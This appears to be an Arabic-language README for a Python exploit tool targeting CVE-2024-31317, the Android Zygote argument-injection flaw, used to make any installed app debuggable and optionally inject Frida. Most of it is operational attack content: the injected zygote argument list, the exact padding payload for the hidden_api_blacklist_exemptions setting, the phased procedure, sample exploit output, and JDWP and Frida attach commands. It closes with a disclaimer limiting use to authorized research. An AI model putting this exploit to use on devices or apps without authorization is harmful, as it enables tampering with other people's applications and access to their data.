
CVE-2024-31317 استغلال تطبيق قابل للتصحيح
أداة استغلال مبنية بلغة Python لثغرة CVE-2024-31317 (حقن Zygote في Android) تجعل أي تطبيق Android مثبت قابلًا للتصحيح عن طريق حقن وسائط zygote ضارة عبر إعداد hidden_api_blacklist_exemptions. تتضمن حقن أداة Frida الاختياري للربط في وقت التشغيل.
يستغل هذا الاستغلال ثغرة حقن أوامر في عملية Zygote في Android لبدء التطبيقات المستهدفة مع تفعيل علامة debuggable. يتيح ذلك تصحيح JDWP وفحص أي تطبيق دون الحاجة إلى صلاحيات الجذر أو النسخة المخصصة للتصحيح من التطبيق.
بناءً على بحث: تحليل Flanker لـ CVE-2024-31317
رؤية رئيسية: "يمكن استخدام حقل runtime-flags في ZygoteArguments لتمكين خاصية debuggable للتطبيق."
runtime-flags=65535 لتمكين التصحيحppadb, jdwplibضع الملفات التالية في نفس الدليل:
├── CVE-2024-31317-Debuggable.py # البرنامج النصي الرئيسي للاستغلال
├── jdwplib.py # مكتبة عميل JDWP
├── app-debug.apk # تطبيق مساعد قابل للتصحيح
├── frida-gadget-android-*.so # أداة Frida (اختياري)
├── frida-gadget.config.so # تكوين Frida (اختياري)
└── win32/adb.exe # ADB لنظام Windows
python CVE-2024-31317-Debuggable.py
سيطلب منك البرنامج النصي اختيار وضع كشف المعاملات:
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]:
المرحلة 1: استخراج startSeq
startSeq من إطارات المكدسالمرحلة 2: حقن وسائط Zygote
runtime-flags=65535 (قابل للتصحيح)hidden_api_blacklist_exemptionsالمرحلة 3: ما بعد الاستغلال
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]: 1
[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701
Inject Frida? (y/N):
قم بتعديل الثوابت في أعلى البرنامج النصي:
TARGET_APP = "com.debug.configurator" # غيّر إلى اسم حزمة هدفك
DEBUG_APP = "com.debug.app" # تطبيق مساعد قابل للتصحيح
DEBUG_APK = "app-debug.apk" # ملف APK للتطبيق المساعد
وضع الكشف التلقائي (موصى به):
pm list packages -U للحصول على UIDdumpsys package للحصول على مجموعة التعليمات ودليل البياناتوضع القيم الثابتة:
بعد نجاح الاستغلال، يمكنك حقن أداة Frida اختياريًا:
Inject Frida? (y/N): y
سيقوم البرنامج النصي بما يلي:
frida-gadget.so إلى /data/local/tmp/run-asيحاول البرنامج النصي نقاط التوقف هذه حسب الموثوقية:
يجب أن تُفعّل نقاط التوقف العلوية تلقائيًا. إذا انتهت المهلة، اضغط على التطبيق لتفعيل نقاط التوقف البديلة.
بعد الحقن الناجح:
# Connect to gadget
frida -H 127.0.0.1:27042 -n Gadget
# List processes
frida-ps -H 127.0.0.1:27042
بمجرد نجاح الاستغلال، يعمل التطبيق المستهدف مع تمكين التصحيح:
الاتصال بمصحح JDWP:
jdb -attach localhost:8701
استخدام مصحح Android Studio - الإرفاق بالعملية على المنفذ المعاد توجيهه
استخدام Frida - إذا تم حقن الأداة عبر البرنامج النصي
CVE-2024-31317 هي ثغرة حقن أوامر في عملية Zygote في Android. من خلال التلاعب بإعداد النظام hidden_api_blacklist_exemptions بإدخال مُصنّع خصيصًا، يمكننا حقن وسائط zygote عشوائية عند تشغيل تطبيق.
استخراج startSeq: كل تشغيل تطبيق له رقم تسلسل فريد. نستخرجه من تطبيق قابل للتصحيح عبر JDWP بفحص متغيرات إطارات المكدس.
بناء الحمولة: نبني وسائط zygote تتضمن:
--runtime-args
--setuid=<uid_الهدف>
--setgid=<gid_الهدف>
--runtime-flags=65535 # يفعّل جميع علامات التصحيح
--mount-external-default
--target-sdk-version=35
--setgroups=3003
--nice-name=<الحزمة>
--seinfo=default:targetSdkVersion=30:complete
--instruction-set=<المعمارية>
--app-data-dir=<دليل_البيانات>
--package-name=<الحزمة>
--is-top-app
--bind-mount-data-dirs
android.app.ActivityThread
seq=<startSeq+1>
الحقن: تُحقن الحمولة في إعداد النظام مع حشوة محددة لنظام Android 12+:
payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
التفعيل: إيقاف التطبيق المستهدف بالقوة وإعادة تشغيله، والذي يُطلق مع وسائطنا المحقونة وعلامة debuggable مفعلة.
يعمل حقن Frida عن طريق:
Runtime.load() لتحميل المكتبة المشتركة لأداة Frida"فشل في الحصول على startSeq"
"لم يتم الوصول إلى نقطة توقف" أثناء حقن Frida
"رفض اتصال Frida"
adb forward --listadb forward tcp:27042 tcp:27042هذه الأداة مخصصة للأغراض التعليمية وأبحاث الأمان المأذون بها فقط. استخدمها فقط على الأجهزة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني وغير أخلاقي. المؤلفون غير مسؤولين عن أي إساءة استخدام لهذه الأداة.
ترخيص MIT - راجع ملف LICENSE للتفاصيل.
| الفئة | الطريقة | التفعيل |
|---|
android.os.MessageQueue | next | تلقائي - الحلقة الرئيسية تستقصي باستمرار |
android.os.Binder | execTransact | تلقائي - أي استدعاء IPC/binder |
android.app.ActivityThread | handleMessage | تلقائي - المعالج الرئيسي للتطبيق |
android.os.Handler | dispatchMessage | تلقائي - إرسال الرسائل |
android.os.Handler | handleMessage | تلقائي - معالجة الرسائل |
android.view.Choreographer | doFrame | تلقائي - استدعاءات الإطار |
android.view.View | dispatchTouchEvent | يدوي - يتطلب لمسًا |
android.view.View | onDraw | يدوي - يتطلب إعادة رسم واجهة المستخدم |